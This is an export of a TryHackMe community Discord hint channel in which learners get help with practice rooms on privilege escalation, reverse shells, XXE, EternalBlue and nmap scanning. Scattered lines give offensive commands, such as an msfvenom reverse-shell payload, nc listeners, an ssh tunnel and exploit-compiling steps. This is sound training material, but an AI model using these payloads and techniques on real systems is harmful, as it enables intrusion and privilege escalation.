#room-hints

1 messages ยท Page 6 of 1

ripe berry
#

but it says this

ebon jewel
#

there is video on offical website that will show you how exactly is needed to use. is bit different ๐Ÿ™‚

#

hint is that you need extract it. and extraction is bit different ๐Ÿ™‚

#

dont rush. slow you self down

ripe berry
#

Too much going on already

#

idk i can't understand

ebon jewel
#

ok... so you did sudo apt-get install borgbackup ?

ripe berry
#

and it didnt work

#

it needs a repo

#

idk if i need to create one

ebon jewel
#

ok. how did you use command

ripe berry
#

Help

#

it worked

#

but i cant see where did the output file

#

xDDD

#

there's a lock.exclusive

#

what's taht

#

Wait can u help me?

#

i did borg extract /root:archive.txt

ebon jewel
#

how did you run command?

ripe berry
ebon jewel
#

not like that

ripe berry
#

list first?

ebon jewel
#

might i DM you. to not spoil here

ripe berry
tropic garden
# ripe berry it needs a repo

It needs to be pointed to a particular path which you will find when you extract the contents of the tar file. I only completed this room recently as well.

ripe berry
green minnowBOT
#

Gave +1 Rep to @tropic garden

knotty peak
#

I have a few question on https://tryhackme.com/room/linprivesc# task 10. I was able to complete the task but I would like if someone could help explain a couple things to me. After I ran the find command to find where I had write access why do I not have write acsess in the usr directory or its sub folders but it is listed in the command output and why do I echo "/bin/bash" into a file called thm instead of using vim or nano to write the same thing?

knotty peak
#

I am on https://tryhackme.com/room/linprivesc# and I am having so trouble on task 11. When I try and mount one of the no_root_squash shares I get an error: mount.nfs: failed to apply fstab options

#

This is the command I am using: mount -o rw 10.10.234.113:/backup /tmp/backupsonattackermachine mount.nfs: failed to apply fstab options

white salmon
#

Anyone here ?

lucid junco
knotty peak
#

Could someone explain why I got this error
Unable to create directory /home/karen/.local/share/nano/: No such file or directory It is required for saving/loading search history or cursor positions.
When I used nano on the target machine of task 10 in Linux priv escalation.

#

I was typing in nano then all of a sudden it closed and this messaged displayed

proven crescent
#

Hello, I'm looking for a hint on https://tryhackme.com/room/volatility.
I am using the "Volatility Sandbox v3.8" machine, which comes with volatility & the dumps already there.
Task 10 asks to look into a couple of memory dumps. The first memory dump, we're told, has something odd going on with the ip "41.168.5.140" . However, when trying to run the volatility network plugins for a windows dump (windows.netstat & windows.netscan) volatility crashes because the windows version of the dump is not supported. Is there any other windows plugin I should be using to look for an odd connection ?

knotty peak
knotty peak
green minnowBOT
#

Gave +1 Rep to @lucid junco

knotty peak
#

I am on https://tryhackme.com/room/linprivesc# and I am having so trouble on task 11. After creating and compiling a script and setting the suid bit when I try to run it on the target machine I get the error:
$ ./nfs ./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)

#

When I try to compile it on the target machine i get an error that gcc cant be found

tropic comet
#

2 question's
John and hydra ? I reset my Linux , my PC and starting from new and I like to keep order in it now. Where should hydra and John be installed ? In /bin ?

tropic comet
#

Chromebook, as I've been learning everything been getting mess so I reset and starting for scratch

ebon jewel
#

you can type whereis hydra in terminal and will show you

tropic comet
#

No lol

#

Where is the best place to install it at... In my /bin or it's cool to put it in /home/user/John or hydra

#

Sorry for stupid questions

ebon jewel
#

ah you install it manually ?

tropic comet
#

I am right now and hydra

ebon jewel
#

then you can in /usr/bin/

tropic comet
#

Cool. I thought so but I wanted to ask to see if there's a cleaner way to put it so I can use it anywhere

ebon jewel
#

if you can spin virtual machine will be nice also since all the tools are there

tropic comet
#

And thank you for responding. I'm trying to get my terminal nice and clean

peak badge
#

i dont know how to make that task, the default port of ftp has changed for 10021

ebon jewel
#

what room is that ?

peak badge
#

Net Sec challenger

ebon jewel
#

in general. you can change the default port of any service to the port you like

#

and command you running might is not correct to run like that

white salmon
#

Put in Red as the color of the flag, no dice.

white salmon
#

In the room where you are supposed to locate a suspicious I.P. . When the room was over you needed to answer what color flag you had gotten for following along. I answered Red, and I thought that was the correct answer.

#

Please D.M. me if it helps

white salmon
#

Can I copy/paste it here ?

ebon jewel
#

the thm link room yes

white salmon
#

Very bottom segment , or third segment.

ebon jewel
#

let me check

white salmon
#

Alrighty .

ebon jewel
#

flags need to appear to you in format THM{xxxx} to be valid solution

white salmon
#

Ok, so ,.. did I answer correctly; or ... what's going on, please ?

ebon jewel
#

when you enter correct ip in the filed and Block IP Addres the flag will show to you

white salmon
#

Ok.

#

I've been stumped on this one segment for "months".

#

I actually quite for a while.

ebon jewel
#

you need to enter bad ip in field and block it ant gflag will show

white salmon
#

143.110.250.149

#

Is this it, because even this isn't going in.

ebon jewel
#

try it.

white salmon
#

Ugh, .. it took a few tries.

#

Still no luck.

#

I just can't get through the thing.

ebon jewel
#

pop-up window didnt show up when you block that ip ?

white salmon
#

It's not the pop up window.

#

It's the other part where you need to fill out a question.

ebon jewel
#

what was the question

white salmon
#

Let me put something here first.

#

143.110.250.149

#

What is the flag that you obtained by following along?

ebon jewel
#

did you click on that visit site

#

to split the screen

white salmon
#

Yeah, and I completed it.

#

It was a bit of a hassle , but i completed it.

ebon jewel
#

when you answer last question the popup needs to show with correct answer

#

when you block that ip will show you answer

white salmon
#

This is what I'm getting.

ebon jewel
#

try that as answer

white salmon
#

Ffffffinally.

ebon jewel
#

๐Ÿ™‚

white salmon
#

That worked , thank you.

#

This is kinda a hard site.

ebon jewel
#

usualy all flags are in that format so to say

white salmon
#

Wait, ... ugh, .. do I really need to subscribe ?

lucid junco
#

Please delete this flag, let's not spoil it for others.

@left thunder

white salmon
#

Did it.

#

Do I really need to "Pay" in order to continue ?

ebon jewel
#

when you sub, you get more things to learn

#

you can do free stuff with no issues

white salmon
#

Where can I find "freeee" ๐Ÿ˜ธ ?

ebon jewel
#

it says Free or VIP

white salmon
#

Ok, .. I ... might try Code Academy.

#

I really am just starting out, any idea where I should begin ?

ebon jewel
white salmon
#

Ok, thank you.

#

I really want to continue learning, .. but ... I don't have money at this time.

#

What would I do ?

ebon jewel
#

do free paths

white salmon
#

Ok. brb

ebon jewel
#

google and so on

white salmon
#

Ok.

#

Thank you.

#

I will continue using this site though.

#

See ya later.

vast topaz
#

Room: Operating Systems Security......I cannot get the "su - root" to work under Johnny

#

any tricks?

white salmon
#

I'm trying to do the Blue room again for practice, I have completed it already but now the Nmap script for ms17-010 doesn't give me anything it shows as filtered but before it gave a whole bunch of info. I've terminated and started new THM machines (different IP) but still keeps happening. What could be causing this? I was hoping to practice each step that I did in exact order but just be more efficient.

white salmon
# lucid junco Wait 5-10 mins.

I've tried on 3 separate days and at different times. I have AddGuard but even when I switched it off it makes no difference. Don't know why it takes over 3 hours for these scans. I'm working through the Nmap course with Chris Greer and David Bomball and don't have these issues - but everyone here says it shouldn't take 3 hours so I don't know.

white salmon
lucid junco
white salmon
# lucid junco What's your sytax?

I'm doing it now again with this syntax: sudo nmap -sS -Pn -A -p- -oN nmap.txt 10.xx.xx.xxx It's taken over 20 min still going. On my own VM 0.26%

lucid junco
#

Tbf, you're scanning all the ports with the aggressive scan.

white salmon
# lucid junco Tbf, you're scanning all the ports with the aggressive scan.

I understand but I've seen other people also do this same scan and when I can scanme.nmap.org with all ports it doesn't take 3.5 hours. I should still be able to run nmap scipt to check for the ms17 vuln that what I did when I first did the challenge it gave me the info but now it only every shows as filtered I just wish I know what is causing this. I can try from a different computer but it's strange that it worked the first time.

white salmon
white salmon
# lucid junco Try a normal scan.

Thank you you were right, it didn't like the aggressive or all port scan. I was able to do it on the attackbox but when I try on my personal vm I only get filtered I'm going to try tomorrow change my thm openvpn and see it if helps.

green minnowBOT
#

Gave +1 Rep to @lucid junco

peak badge
#

somebody can tell me, how to make that task 2 ?

alpine kestrel
#

ah yes that one

spice gale
#

I'm doing the "RootMe" ctf. The last question of task 2 asks "What is the hidden directory". Out of all of these directories, which one do I know is the hidden one

alpine kestrel
peak badge
#

Thanks

alpine kestrel
#

no problem

#

one day shadow might go back and check if they can figure out how to get the other exploit scripts working

tropic garden
spice gale
green minnowBOT
#

Gave +1 Rep to @tropic garden

knotty peak
#

I am on https://tryhackme.com/room/linprivesc# and I am having so trouble on task 11. After creating and compiling a script and setting the suid bit when I try to run it on the target machine I get the error:
$ ./nfs
./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)

When I try to compile on the target machine using gcc i get an error that the gcc command can not be found

#

I am now learning how to build a cross compiler. But any other suggestions are welcome

obtuse brook
#

Not using a compatible linux architecture to create the program? (assuming the target box is x86_64/amd64, and your attackbox is also, it should let you run your simple nfs.c program described in the room)
You can always try making an ELF based exploit using msfvenom.

ebon jewel
nocturne garden
#

Hi, I am in the Pickle Rick CTF and have fuzzed the directories and files, checked if I can bruteforce ssh and tried scanning for vulnerabilites on the apache httpd server. No luck though, any tips?

lucid junco
#

You can find the ssh creds.

ebon jewel
#

checking under the hood of website ๐Ÿ™‚

lucid junco
#

Infact, you don't need the SSH

nocturne garden
#

So the first thing I did was checking every page with burp suite, because of the obvious reference but I don't see anything?

lucid junco
#

Maybe the source

nocturne garden
#

Damn how did I not think of that...

nocturne garden
green minnowBOT
#

Gave +1 Rep to @lucid junco

nocturne garden
#

So I think I have user and pw but I am getting permission denied on ssh?

#

When trying ssh <username>@$IP

lucid junco
#

you don't use ssh.

you'll need to enumerate.

nocturne garden
#

aha, found something. I guess I didnt fuzz thoroughly enough.

nocturne garden
#

So I tried going at it with a webshell and got this:

#

Should I try this direction more or am I on the wrong path?

ebon jewel
#

you are in right path

nocturne garden
#

So I am a bit stuck here

#

Can anyone help me out?

#

I guess I need to do a privilege escalation to read the files

#

Couldn't get anywhere with path or gtfobins

alpine kestrel
nocturne garden
#

I have also tried a bash revshell

alpine kestrel
#

and yeah the bash revshells tend to be a miss in a lot of situations as it requires it to be run kinda specifically

nocturne garden
#

I crafted a php shell with msfvenom earlier, didn't work though?

alpine kestrel
nocturne garden
green minnowBOT
#

Gave +1 Rep to @alpine kestrel

alpine kestrel
nocturne garden
nocturne garden
green minnowBOT
#

Gave +1 Rep to @alpine kestrel

nocturne garden
#

It is not even that complicated, it is just missing the know-how on certain things which slows you down so so much.

alpine kestrel
#

technically the reverse shell part is just one of the easier ways to do it... think you could technically use other tech to read files using the web command line

#

but that is just extra learning

nocturne garden
#

Yeah, I will get there at some point. Just gotta keep grinding :))

obtuse brook
#

If you can get a RevSH, it makes life much easier, but yeah. Some times you'll be able to get a webshell/RCE but the system or network are configured in a way that is preventing you from getting a shell back out. (Maybe you're on a front-end server, and its communicating with a database on a back-end server with no direct Internet access?)

In that case, you can just treat the RCE as a very slow shell, assuming it gives you feed back.
If its blind, things get tougher again.

peak badge
#

somebody can help me to make the task 5 for Linux Privilege Escalation, i dont now how i can make this

obtuse brook
#

Hmm, I have notes, but not questions saved.
Link me to the room?

peak badge
obtuse brook
#

Hmm, Kernel exploits...

peak badge
#

yess

obtuse brook
#

I may not be a ton of help from my current location, but did you select a CVE to attempt?
Which one is it? I'll pull it up from my phone and see if I can understand where you're getting stuck.

peak badge
#

CVE-2015-1328

#

i get it on exploit-db

#

and now, i can't transfer the exploit(37292.c) to target machine

alpine kestrel
obtuse brook
#

What kind of access do you have to the machine right now?

alpine kestrel
obtuse brook
#

(Like SCP, uses SecureShell to do a file transfer)

alpine kestrel
#

secure file transfer protocol

#

it lets you get and put files

#

shadow finds sftp easier to use then scp if you need to move a file to the target if you got an ssh connection

obtuse brook
#

I'm booting the VM now on my system...

But I get the feeling at a glance that you just copy-paste the exploit code into a text, then run gcc against it in system.

alpine kestrel
#

then again the wget and python web server method is decently easy for most people too

obtuse brook
#

Compile on the victim environment, and run exploit.

peak badge
ebon jewel
#

go in /tmp on target

obtuse brook
#

Yep, room booted, did a POC Hello world.
So you can do that in /tmp

ebon jewel
#

tmp is world read/write place

obtuse brook
#

Finding where you have read/write access in a system is going to be important for a lot of exploits.

#

And if you compile it in place, it becomes an example of LOL as well ๐Ÿ™‚

peak badge
#

thank, but now, how i can make to open the 37292.c, because it is not in python

obtuse brook
#

Look at the screenshot, it shows you everything you need to know ๐Ÿ˜‰

#

Python as you're familiar with, is a scripting language. The largest difference between such and a Programming language, is compiling.
Python runs without requiring any kind of binary packaging. It remains readable.

C and other such programming languages require "compiling", a process that turns our (relatively) human readable code into machine language.
A common (but not the only) compiler aimed for "C" programs is GCC (Gnu C Compiler)

Call the program "gcc" providing a raw c-file as an argument, and it will generate a.out as above.

You can use, I believe "-o" to define your own output file name.

The output file will be compiled c code (A "binary executable")

#

I haven't seen any rooms on it yet, but if you want to play around with reverse engineering C code, you can make a program (Like my simple hello world above), enable the debugging flag, and the use a decomiller to get out the machine language code (Assembly, or as some refer to in this instance dis-assembly).

Which can give you a better understanding of what the computer is actually doing when it runs the code.

peak badge
#

I got it, I used gcc, they could have said in the question about the existence of gcc

#

I'm lost

umbral umbra
#

any time you see a .c file, that file is written in c and needs to be compiled

obtuse brook
#

Hmm, I wonder if gcc is covered in any of the learning linux rooms.

There are a number of rooms that also include hints that simply say "use google"

umbral umbra
#

90% of actual security work is reading and exploring documentation to put the pieces together

obtuse brook
#

A big part of hacking is

#

yeah that.

#

I encourage frequent breaks so as not to burn out.
Some folks here make things look easy, some folks here also eat, breath, and sleep hacks for the last couple decades.

peak badge
#

I know, it's just that for someone who understands English very well, searching the internet is easy, but for me I still have these problems, because I'm from Brazil, but I'm getting better with time.

runic pagoda
#

hi guys

knotty peak
#

Hi I am trying to download something from a target machine using a python http server
python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ...

But when I try connect to I get this
Connecting to 10.10.133.37:8000... failed: No route to host.

#

any suggestions? Is this a problem with my openvpn?

lucid junco
#

Where are you connecting from.

And what are you connecting to?

knotty peak
#

I am using a vm and connected to openvpn I am trying to download a file I made on a machine back to my local one using a http server

lucid junco
#

Which machine?

knotty peak
knotty peak
knotty peak
#

Do anyone know why the http server did not work?

obtuse brook
#

If SCP works, then there's clearly a route to host.
I assume that was curl or wget that failed to connect?

peak badge
#

somebody know how to connect the windows on kali linux with RDP ?

deep oriole
#

I need help

#

I'm locked in a lesson of the burp suit

#

Which button would we choose to send an intercepted request to the target in Burp Proxy?```
-> _forward_ **OK**

```[Research] What is the default keybind for this?

Note: Assume you are using Windows or Linux (i.e. swap Cmd for Ctrl).```
alpine kestrel
gleaming trail
#

error while ./exploting

obtuse brook
# peak badge somebody know how to connect the windows on kali linux with RDP ?

I imagine you mean to windows since this is RDP?
xfreerdp is built in and can be launched form the command line.
xfreerdp /u:name /p:pass /v:Target-Address /cert:ignore
There are additional arguments to fine tune the experience, but that should be enough to get you connected to the majority of systems.
If you're like me you'll want to open the command with a nohup and end with &

peak badge
#

thankss

thick trail
#

hlw , i am doing Sea Surfer room. i already subdomain name in /etc/hosts file , but this still give default apache home page .

lucid junco
thick trail
#

yes

lucid junco
#

Well it doesn't.

#

You've used intrenal

thick trail
#

thanks , i think i have to enumerate again

lucid junco
#

Ah.

#

Maybe not.

#

I haven't done this room and didn't realise it was spelt that way.

#

I assumed you made an error.

thick trail
#

that was hint to internal.seasurfer.thm

peak badge
#

I'm doing the room windows privilege escalation, and in task 6, it seems to have some kind of error.

obtuse brook
ripe berry
#

my machine does this

#

i restarted it and now it works

peak badge
#

im finish the jr penetration tester, but i dont know where i need to go now.

forest drift
peak badge
#

And the next ?

forest drift
#

Offensive Pentesting

alpine kestrel
storm swift
#

Anyone solved

#

Brutus box

rustic sphinx
#

@white salmon alright

#

what do you use to access a website

#

on your computer, you load up a what

#

what software are they using

#

to access the website

obtuse brook
dusty flicker
#

Hi everyone !
I try to complete the Toss A Coin room, but I'm blocked.

It's a CTF room, I need to find the file root.txt

What I have :
I found ssh login to the room, I've access to one user (Jaskier) and there are 3 more users (tryhackme, geralt, yen). I successfully access to yen user, and in it's home directory there is a portal file, I put the file in ghidra to extract function from the binaries, and the main function is this

void main(void)

{
  setuid(0x3eb);
  setgid(0x3eb);
  puts("I am preparing a portal for you Geralt.");
  system("/bin/echo -n \'It will be ready in about \' && date --date=\'next hour\' -R");
  puts("You just have to wait for it");
  getchar();
  puts("Segmentation fault (core dumped)");
  return;
}

0x3eb is 1003 and the group 1003 is for geralt user.
After running the binaries "portal" nothing append and the guid et uid doesn't change even after 1hour,

So I request your help please, thanks a lot!

dusty flicker
lucid junco
dusty flicker
lucid junco
dusty flicker
lucid junco
#

Is this a private room?

dusty flicker
#

I'm french learner at Epitech, so maybe only epitech members can access to it

lucid junco
#

Ah!

You have an educational account?

dusty flicker
#

I don't know, is it important ?

lucid junco
# dusty flicker I don't know, is it important ?

If this is an educational room, we cannot help with it, regular members won't have access to the room, you'll need to ask your peers/who ever is teaching you, about help with any of their rooms.

dusty flicker
lucid junco
#

I just did.

Ask your peers/teacher.

#

We can't do any more than that.

dusty flicker
#

Already did.
Thanks for the response ๐Ÿ˜‰

#

Have a nice day.

lucid junco
#

Sorry I can't help any further.

#

I'm jealous because I can't do a room based on The Witcher.

knotty peak
#

Can someone tell me why this command did not work on the wind priv room
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\My%20ssh%20server

true cipher
#

Hello, I am trying the new obscured room, I was wondering if someone could give me hint, based on a single word as I am unsure if I should continue my current route or not. (Don't want to spoiler as it is very new, so DM works as well)

hexed crescent
true cipher
green minnowBOT
#

Gave +1 Rep to @hexed crescent

trail dove
#

Hi all, I have a problem with the room. I have finished this room, but it's not done.

forest drift
odd zenith
#

Hi all, I need some support on completing the upload vulnerabilities room, task 11. I was able to upload a reveres JS shell file with its file extension changed to .jpg(the file extension was changed to jpg to counter the MIME filter on the server), the gobuster scan shows that the file is stored in the /content folder. After these steps , I had setup the netcat listener and tried to launch the shell via the admin page using the command ../content/<filename> but the page returned an error which says module does not exist. I don't know why this error should be returned by the server as the file upload was successful . Need some help to solve this

fickle delta
#

can you give me some hints about these questions? Where can I find the answer or smth?

fickle delta
lucid junco
#

Are you in msf?

rustic sphinx
#

Checkout the documentation

tropic garden
odd zenith
tropic garden
#

I meant if you uploaded it as filename.js.jpg or filename.jpg? I'm not sure if uploading it as filename.jpg would still trigger the reverse shell

odd zenith
#

I uploaded the shell as filename.jpg

tropic garden
#

Have you tried filename.js.jpg? And try browsing to it again?

#

Hey guys, I'm working on the mustacchio room and was wondering if anyone can give me a nudge. I was able to gain access to the admin page in port 6xxx or 5xxx (not in my computer atm) and saw the clue for the user Bxxxx to login to the server via ssh using his key. I wanted to know if I need to supply the correct XML code to output user Bxxxx's private key or should I look somewhere else?

tropic garden
green minnowBOT
#

Gave +1 Rep to @young gulch

odd zenith
green minnowBOT
#

Gave +1 Rep to @tropic garden

tropic garden
#

I'm also working on the EasyPeasy box, and I'm stuck and need a nudge on the part right after bruteforcing the hash.. I've no idea how to use the password that I got or how to proceed. I did directory bruteforcing multiple times using different tools and wordlists, but seem clueless as to what to do next, tried to look for a vulnerability or exploit on the OS (on both Apache and nginx) and still nothing.

young gulch
#

something might be hidden

tropic garden
green minnowBOT
#

Gave +1 Rep to @young gulch

odd zenith
tropic garden
# young gulch check the files available to you

I managed to complete the room, but had to look at a writeup in the end. What happened was that it didn't occur to me to use the password that I got from the hash even though I was being asked for it when running the command s------e info filename.

#

Dunno why it didn't though. fawaz

violet olive
#

ssh tunneluser@10.50.69.171 -R 8888:thmdc.za.tryh
ackme.com:80 -L :6666:127.0.0.1:6666 -L:7878:127.0.0.1:7878 -N task 7 am i meant to know the password for this
[9:43 AM]
ive set up a listner using metasploit but this command wont run without a password not too sure

#

on lateral movement and pivoting task 7 really need some help

tropic garden
tropic garden
#

Might take time though as I am only about to start the room

odd zenith
#

@tropic garden I used a revers Java shell code as payload .

odd zenith
frosty wigeon
#

I'm currently doing steel mountain task 2, part 4 and having a little bit of difficulty with the start. I'm kinda lost on what I should do. My hint is telling me to use metasploit to get a shell, I downloaded the vulnerability from exploit db (previous question) which is a python script that targets a certain IP / Port and it isn't working either. to run the python script that targets the vulnerability this webserver has the syntax is "python Exploit.py IP Port" and I'm running that but getting errors. I have a nc listening on the same port. So I figured that the script might not be what I'm supposed to do to get my initial access and starting messing with metasploit but feel kinda lost atm. Looking for a little hint please. edit @ me please if you respond.

steady stratus
frosty wigeon
steady stratus
#

Okay, so that exploit is for python2. Are you using that version of python to run it?

alpine kestrel
#

you should be able to do search cve-bleh-blah in metasploit to find a metasploit module to attack it

#

if that is the way you wanna do it

frosty wigeon
#

given the way the questions are worded I'm kinda guessing that was the intended path

steady stratus
frosty wigeon
alpine kestrel
steady stratus
#

okay, so that could be either python2 or python3 depending on what you have installed and configured as the "default" python. If you were to run python you should see if it is either python2 or python3

alpine kestrel
#

the last task in that room talks about how you would go about not using metasploit for it

frosty wigeon
#

how did you know the version of python is different? I'm not super experienced with that for python

#

does my reading comprehension suck and I just missed a line or?

steady stratus
alpine kestrel
#

think you can look at the shebang at the top or how the print statements are written but unsure

frosty wigeon
#

okay so it's a lack of experience? edit; on my part

distant grail
#

Syntax is the biggest one. Python2 will allow what Ben said, python3 will allow it but tell you it's deprecated

steady stratus
steady stratus
frosty wigeon
#

yeah

steady stratus
#

Like in this case, if you're not familiar with python, you're not going to know. Same with any exploit script in any language

frosty wigeon
#

must acquire more knowledge

distant grail
#

We all start somewhere, you'll be a wizard in no time!

frosty wigeon
steady stratus
#

I would suggest, if you want to complete the room, and you're not familiar with diagnosing vulnerability scripts or environments, looking for metasploit modules would be a good avenue to go with, and you can research into how these scripts by learning the language they're written in ๐Ÿ™‚

frosty wigeon
#

thank you all!

distant grail
#

You are most welcome!

green minnowBOT
#

Gave +1 Rep to @steady stratus

steady stratus
frosty wigeon
#

Okay, so in instances I'm using older exploits I might need to be aware of the version of code that the exploit was designed to work with

#

that makes sense

steady stratus
#

same applies for older and newer exploits

#

if you're running code with a newer version of python that's compatible with an old version of say python, you're gonna have problems. If you're running newer exploits with an old version of python (i.e. python2) that are compatible with newer versions of python (i.e. python3), then you're also going to have problems

#

It's going to be a case of either:

  1. re-writing the exploit to be compatible with your environment (not always ideal)
  2. finding alternative exploits/scripts that is compatible with your environment
  3. changing your environment or the way you're running the exploit to make it compatible
alpine kestrel
#
  1. knowing how to use virutal enviroments and pyenv to run specific python versions
  2. using the exploit from a container like docker
steady stratus
#

yup ^^^^^

alpine kestrel
#

virtual environments exist for ruby too but that is just an extra learning opertunity

#

probably lua virtual environments out there too but not used that yet

steady stratus
#

sed 's/learning/headache/g' ๐Ÿ˜„

alpine kestrel
steady stratus
#

+rep @alpine kestrel

green minnowBOT
#

Gave +1 Rep to @alpine kestrel

steady stratus
#

do me a favour and +rep hex for me please shadow ๐Ÿ˜„

#

silly rep cooldown

alpine kestrel
#

+rep @distant grail

green minnowBOT
#

Gave +1 Rep to @distant grail

steady stratus
#

ta ๐Ÿ˜„ I would rep you for that but KEKW

alpine kestrel
#

yeah limits

ebon jewel
green minnowBOT
#

Gave +1 Rep to @steady stratus

ebon jewel
#

๐Ÿ™‚

frosty wigeon
#

hmm I'm having trouble getting the msfvenom payload to work

#

|| msfvenom -p windows/shell_reverse_tcp LHOST=10.10.175.117 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe|| is the payload the room has me create, but I don't think it's correct. I'm supposed to replace ASCService.exe with my payload and then restart the program which will trigger my payload right?

frosty wigeon
#

[*] Uploading : /root/ASCService.exe -> ASCService.exe
[-] core_channel_open: Operation failed: The process cannot access the file because it is being used by another process.

lunar inlet
#

Just finished the tomghost room and absolutely loved it. ||The last flag hints that there's a fake zip file. Is there a potential extra task that I can do / easter egg I'm missing? Or am I reading too much into the flag?|| HIGHLY recommend this room, it's excellent.

charred plover
oak summit
lunar inlet
green minnowBOT
#

Gave +1 Rep to @oak summit

oak summit
green minnowBOT
#

Gave +1 Rep to @lunar inlet

knotty peak
grim cedar
wheat cove
#

Hey, has anyone had any luck with the java ver. required for you're in a cave room? The web server is returning the serialized object correctly but nc wont pick up a connection when I sent it to the 3333 service

pulsar creek
#

hi, I am in nmap room, task 14. It asked me to do a Xmas scan on first 999 ports. I did "sudo nmap -vv -sX -p1-999 <ip>" and I got all 999 closed ports. It asks me why? but I couldnt find the answer, can u help me?

#

"There is a reason given for this -- what is it?

Note: The answer will be in your scan results. Think carefully about which switches to use -- and read the hint before asking for help!"

#

oh ok, I needed openvpn connection... problem solved

sly basin
#

hi, iam trying this room. but got stuck in the admin page. from here, iam guessing its the place for XXE payload.
tried multiple ones, most were basics one got from owasp and some other resources, but none worked.
A hint for where to look from here, will be appreciated, thank you.
https://tryhackme.com/room/mustacchio

tropic garden
sly basin
#

you can pass down the value to name, author and comment.
so you are retrieving a info from the system, and passing down to an element

#

if you specify that element inside the XML, the value will get pass to that element down to HTML

tropic garden
#

I'm reading on XML bit by bit, but can't seem to grasp where I am getting it wrong.. I saw the || Example=/auth/dontforget.bak || and playing around the query using the said pattern, but still not getting anything.

sly basin
tropic garden
sly basin
tropic garden
sly basin
#

did you see it

#

<!-- --> this is the comment format in html

tropic garden
sly basin
# tropic garden Yes, I saw it, but still can't figure out the exact content to put in.

ok
so i assume, that you tried a brute force for ssh/ put something to login to barry.
when doing thtat, you would notice an error in ssh, that its not "passwrod based authentication".
meaning you will need the barry's id_rsa for logging in through ssh.
that id_rsa is our target.
we need to use the XML to retrieve the private key of barry from the machine

for XML, i will give a hint/example.
you have a HTML tag named "place".
and you created a xml with prologue of XML and other necessary tabs.
after that in the XML, if you wrote
<place>canada</place>
when you run this/submit it
this values will get pass through as the "place" HTML tags value

#

did you get some idea about it?

tropic garden
tropic garden
#

I'll have to check it tomorrow as its almost 2AM here.

violet olive
#

kind of confused on what his task 2 for abusing windows internals hasnt really explained anything to get the flag

#

this

wanton oak
#

Hi Everyone, I am new to this platform. I am try module of Metasploit. The last question in section โ€œ Scanning โ€œ is asking for the password. I tried smb_login and got the password but out of curiosity I attempted trying brute force using hydra with the given wordlist but it is not able to return any password match. I even tried just passing the correct password even then hydra says 0 valid passport. Can anyone let me why we observe this behaviour ???

sullen musk
#

Hi guys is there anyone else having issues with the Pyramid of Pain room task 9? The one where you drag and drop the answer onto the pyramid. I Thought i Was doing it properly and even went back to look at the previous tasks but when i click check answers its still says "whoops check your answers"

violet olive
#

all good solved

lucid junco
#

Please delete the flag, not to ruin it for other users.

safe coral
#

any hints on gatekeeper room

#

i managed to get user access on machine but idk where to privesc from here

sinful palm
#

Working on the Metasploit: Exploitation room, is eternalblue supposed to hang on [*] 10.10.183.104:445 - Sending all but last fragment of exploit packet for forever?

lucid junco
#

Did you set the LHOST?

sinful palm
#
LHOST => 10.13.26.18
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg LPORT 4567
LPORT => 4567
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
sinful palm
lucid junco
#

I didn't change the lport.

sinful palm
#

Have also tried it with the default port

#

4444

#

Just got a warning that I'm running low on time despite having ~1:30:00, happened before on the same room

#

TCP handler is binding fine

lucid junco
#

EternalBlue is notorious for not working after a few failed attempts.

#

I'd restart the box.

sinful palm
#

Have done it a few times

#

Does it need the attack box?

lucid junco
#

No.

sinful palm
#

About how long should it take?

#

I'm not getting a fail, just eternal waiting

blazing compass
#

Not sure if you have already beaten this room ใ—ion but it's best to try and run the exploit with Metasploit correctly the first time. That's the only way I've even managed to exploit eternal blue. It's like a 1 shot exploit or something.

tired maple
#

Going through the basic room, rootme, and I'm having trouble getting the shell I upload to execute. Anyone able to offer some pointers to get me in the right direction? Thanks.

lucid junco
#

What is the extension?

tired maple
lucid junco
tired maple
#

lol Fair.

#

Extension to the file I uploaded? *.phtml. I got the site to take the upload successfully. When I set my nc to listen then click the script from /directory, the site just loads the script instead of running it for nc to pickup.

lucid junco
#

What happens when you start the nc first?

Then upload and click?

tired maple
#

$nc -lvnp 4444
listening on [any] 4444 ...

lucid junco
#

What's your target ip?

tired maple
#

Then I click the file form /directory. Then the site loads the script as text instead of executing.

#

The target IP is the room IP that loads after 60s.

lucid junco
#

I know what the target is, I'm asking what it actually is. lol

#

As in, give me the ip. lol

tired maple
#

๐Ÿ™‚ Thought you were confirming how smart I was lol. IP 10.10.26.74

lucid junco
#

It worked immediately for me.

#

You look like you're using the wrong IP.

tired maple
#

Hmm.

lucid junco
#

Are you on the attackbox?

#

Or your VM?

tired maple
#

Neg. VM.

lucid junco
#

You need to use the IP of the tun0 to catch your Rev shell.

tired maple
#

So tun0 would be target in the script? Or am I misunderstanding?

lucid junco
#

It's not the "target"

But what you have is looking you're trying to connec to port 4444 on the IP of 10.10.24.74

#

But your tun0 should always be used to catch any reverse shells in THM.

tired maple
#

If nc is used to listen, I dont know how to "use" tun0 to catch the shell. Based on my limited understanding, nc is catching it, right?

lucid junco
#

nc is catching it yes.

But it's listening on your VM, and since it's via THM it will come through the 10.10 subnet.

#

For example, my tun0 10.1.2.3

โ”€โ”€(scrubzใ‰ฟKoopasCastle)-[~]
โ””โ”€$ nc -lvp 9001
listening on [any] 9001 ...

nc is listneing on 10.1.2.3 (and I'm sure my eth0, someone will correct me if im wrong) on port 4444.

tired maple
#

As I read that, simply changing to port points the "catch" from eth0 to tun0. I feel like I'm missing something haha.

lucid junco
#

No, that's it.

tired maple
#

How's that work? Why does port # change the receipt IP?

lucid junco
#

Oh no, not the port.

#

the ip.

#

I'm making a mess of explaining this.

tired maple
#

lol At least you're trying. My ignorance doesn't help either. I appreciate the effort.

lucid junco
#

The easiest way to explain it, is to do it.

have you ever used pentest monkey?

tired maple
#

Are you saying I need make nc use my tun0?

lucid junco
#

Nah.

nc will listen on both interfaces.

tired maple
#

Ok. And, no, I've never used pentest monkey

lucid junco
#

Use that script.

Only change these parts

#

Set the ip to whatever your tun0 is.

And set a port in the 9000's

#

Save it as a phtml extension too

tired maple
#

Did that. Still nothing. F.

viscid ruin
#

try .php5

tired maple
#

No dice. This is the output I get on the VM...

lucid junco
#

Did you set yout NC to 9001 first?

tired maple
#

